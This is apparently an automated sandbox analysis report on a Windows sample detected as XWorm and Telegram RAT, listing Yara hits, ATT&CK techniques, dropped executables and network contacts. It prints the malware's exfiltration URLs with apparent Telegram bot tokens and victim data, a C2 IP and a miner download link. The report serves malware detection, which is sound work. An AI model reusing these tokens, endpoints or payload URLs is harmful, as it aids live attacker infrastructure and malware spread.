Source: Yara match	File source: 00000003.00000002.3905812861.000000000307B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 3416, type: MEMORYSTR

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spczxf.exe PID: 2908, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3905812861.000000000307B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe PID: 432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jsc.exe PID: 3416, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Windows Service	1 Windows Service	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	11 Scheduled Task/Job	411 Process Injection	2 Obfuscated Files or Information	Security Account Manager	37 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	12 Registry Run Keys / Startup Folder	11 Scheduled Task/Job	2 Software Packing	NTDS	361 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	12 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	13 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	151 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	411 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	45%	ReversingLabs	Win64.Backdoor.Xworm
SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	49%	Virustotal		Browse
SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	100%	Avira	HEUR/AGEN.1313962
SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\hgzxhw.exe	100%	Joe Sandbox ML
C:\ProgramData\xlffyhztkvzk\pkiwizgebqxq.exe	0%	ReversingLabs
C:\ProgramData\xlffyhztkvzk\pkiwizgebqxq.exe	0%	Virustotal		Browse
C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\hgzxhw.exe	35%	ReversingLabs	ByteCode-MSIL.Trojan.Fsysna
C:\Users\user\AppData\Local\Temp\hgzxhw.exe	49%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\ohvrxt.exe	62%	ReversingLabs	ByteCode-MSIL.Trojan.Nekark
C:\Users\user\AppData\Local\Temp\ohvrxt.exe	50%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\spczxf.exe	41%	ReversingLabs	ByteCode-MSIL.Trojan.Fsysna
C:\Users\user\AppData\Local\Temp\spczxf.exe	48%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\utntwb.exe	46%	ReversingLabs	ByteCode-MSIL.Trojan.Fsysna
C:\Users\user\AppData\Local\Temp\utntwb.exe	32%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://Passport.NET/STS	0%	URL Reputation	safe
http://Passport.NET/STS	0%	URL Reputation	safe
https://raw.githubusercontent.com/VolVeRFM/SilentMiner-VolVeR/main/VolVeRBuilder/Resources/xmrig.exe	0%	Avira URL Cloud	safe
104.194.9.116	100%	Avira URL Cloud	malware
https://account.live.co	0%	Avira URL Cloud	safe
http://Passport.NET/tbpose	0%	Avira URL Cloud	safe
http://Passport.NET/tb_S	0%	Avira URL Cloud	safe
http://Passport.NET/tb	0%	Avira URL Cloud	safe
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/VolVeRFM/SilentMiner-VolVeR/main/VolVeRBuilder/Resources/xmrig.exe	1%	Virustotal		Browse
http://Passport.NET/tbpose	0%	Virustotal		Browse
http://Passport.NET/tb_	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://account.live.co	0%	Virustotal		Browse
https://login.ecur	0%	Avira URL Cloud	safe
http://Passport.NET/tb	0%	Virustotal		Browse
http://Passport.NET/tb_	0%	Virustotal		Browse
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	0%	Virustotal		Browse
104.194.9.116	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown
wmploc.dll	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
104.194.9.116	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage?chat_id=6585536474&text=User%205814831126857437469%20ran%20the%20malware	false		high
https://api.telegram.org/bot6330888131:AAE5ycZdHuNqV5SVYhHeCfRENn6GuCjwXjs/sendMessage?chat_id=1046049845&text=%E2%98%A0%20%5BXWorm%20V5.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AB83F65D83688BE31381B%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20UZK6EYLC%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20pdr326	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdData	svchost.exe, 00000007.00000003.1623093821.0000023D06F78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tb_S	svchost.exe, 00000007.00000002.3901404764.0000023D0763F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	spczxf.exe, 00000008.00000002.1738420103.000001A4C3F01000.00000004.00000800.00020000.00000000.sdmp, aspnet_wp.exe, aspnet_wp.exe, 0000000C.00000002.3891911934.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp, jsc.exe, 00000003.00000002.3905812861.0000000003041000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/VolVeRFM/SilentMiner-VolVeR/main/VolVeRBuilder/Resources/xmrig.exe	MSBuild.exe, 0000001B.00000002.2296563820.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000007.00000002.3900899316.0000023D06F37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS	svchost.exe, 00000007.00000003.1615716729.0000023D06F7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1615551078.0000023D06F74000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID	svchost.exe, 00000007.00000002.3899970594.0000023D066D2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tbpose	svchost.exe, 00000007.00000002.3901317588.0000023D07615000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000007.00000003.1717445453.0000023D06F69000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1623217210.0000023D06F6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900982101.0000023D06F6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/%t	aspnet_wp.exe, 0000000C.00000002.3893768041.000002109A396000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/scToken	svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/	aspnet_wp.exe, 0000000C.00000002.3893768041.000002109A396000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdt	svchost.exe, 00000007.00000003.1483104918.0000023D06F33000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1472186772.0000023D06F32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1621653752.0000023D06F33000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1615838848.0000023D06F31000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuels	svchost.exe, 00000007.00000003.1623217210.0000023D06F6E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdss	svchost.exe, 00000007.00000003.1483104918.0000023D06F33000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1472186772.0000023D06F32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1621653752.0000023D06F33000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900818902.0000023D06F13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1615838848.0000023D06F31000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/devicechangecredential.srf	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.co	svchost.exe, 00000007.00000003.3864858154.0000023D06702000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tb	svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1472186772.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000007.00000003.1623093821.0000023D06F78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1615838848.0000023D06F31000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1717308062.0000023D06F84000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482586939.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 00000007.00000003.1615551078.0000023D06F74000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900982101.0000023D06F6A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	jsc.exe, 00000003.00000002.3905812861.0000000003041000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000001B.00000002.2296563820.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0iSrrh-e2fE/sendMessage?chat_id=65855	aspnet_wp.exe, 0000000C.00000002.3893768041.000002109A396000.00000004.00000020.00020000.00000000.sdmp	false		high
https://signup.live.com/signup.aspx	svchost.exe, 00000007.00000003.1469891074.0000023D06F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/tb_	svchost.exe, 00000007.00000002.3901404764.0000023D0763F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3901255269.0000023D07600000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6389892231:AAEdDUVYYFJmNDGihmXB4rLw0	aspnet_wp.exe, 0000000C.00000002.3892524455.000000BA8DFFB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/MSARST2.srf=	svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/scs-cbc	svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 00000007.00000003.1622108525.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1636876411.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1643671089.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900982101.0000023D06F6A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 00000007.00000002.3900899316.0000023D06F37000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470166584.0000023D06F57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470144781.0000023D06F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470190462.0000023D06F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000002.00000003.1443141988.00000142DB110000.00000004.00000800.00020000.00000000.sdmp, edb.log.2.dr	false		high
https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000002.00000002.2466045168.00000142DB211000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdx	svchost.exe, 00000007.00000003.1717445453.0000023D06F69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://passport.net/tb	svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds	svchost.exe, 00000007.00000003.1717445453.0000023D06F69000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 00000007.00000003.1472186772.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf	svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 00000007.00000003.1469891074.0000023D06F2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470421983.0000023D06F56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469979112.0000023D06F52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1469891074.0000023D06F29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.2.dr	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	svchost.exe, 00000007.00000002.3900899316.0000023D06F37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900934606.0000023D06F5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 00000007.00000003.1623217210.0000023D06F6E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf	svchost.exe, 00000007.00000002.3897187473.0000023D06629000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuef	svchost.exe, 00000007.00000003.1717445453.0000023D06F69000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3900982101.0000023D06F6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.ecur	svchost.exe, 00000007.00000002.3897337478.0000023D0663F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1470127429.0000023D06F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 00000007.00000003.1470215392.0000023D06F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3898772702.0000023D0665E000.00000004.00000020.00020000.00000000.sdmp	false		high
